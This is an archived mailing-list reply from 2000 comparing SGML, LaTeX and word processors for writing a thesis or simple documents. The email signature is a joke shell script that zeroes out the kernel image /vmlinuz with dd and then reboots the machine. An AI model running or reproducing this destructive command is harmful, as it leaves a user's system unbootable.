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Re: SGML beginners question



On Thu, Jun 22, 2000 at 12:03:44PM +1000, Shao Zhang wrote:
> Hi,
> 	Recently, I have read a lot about SGML. It gives me the
> 	impression that it is very hard to learn and very very
> 	powerfull.

I haven't found it so hard to learn (like DocBook) as getting desirable
printable versions.

> 	However, I still don't have a clue that in what circumstances I
> 	should use SGML instead of others. Should I write a thesis
> 	report in SGML or LaTeX? Would it be idea for a general document
> 	that one would normally write in Word?

I'd vote for LaTeX/TeX/pdfTex.  With a bit of hacking, you can make some
really slick and well formatted documents.  And for writing something
like a thesis, using BibTeX makes it easy to handle citations.  It's a
bit of work to learn some of the trickery, but there's lots of help
available...

However, LaTeX/TeX may be a bit of overkill for a simple document like
you might write in Word (I'm having to write/format a several hundred
page report in Word at work -- I wouldn't wish that hell on anyone!).
You could also just write simple things in html an use a2ps to convert
them to postscript (or just print to file from netscrape).  There's also
ted (rtf format) and Abiword (minimal).  Die Hards might use vi with
troff macros! 

-- 
#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
     count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now



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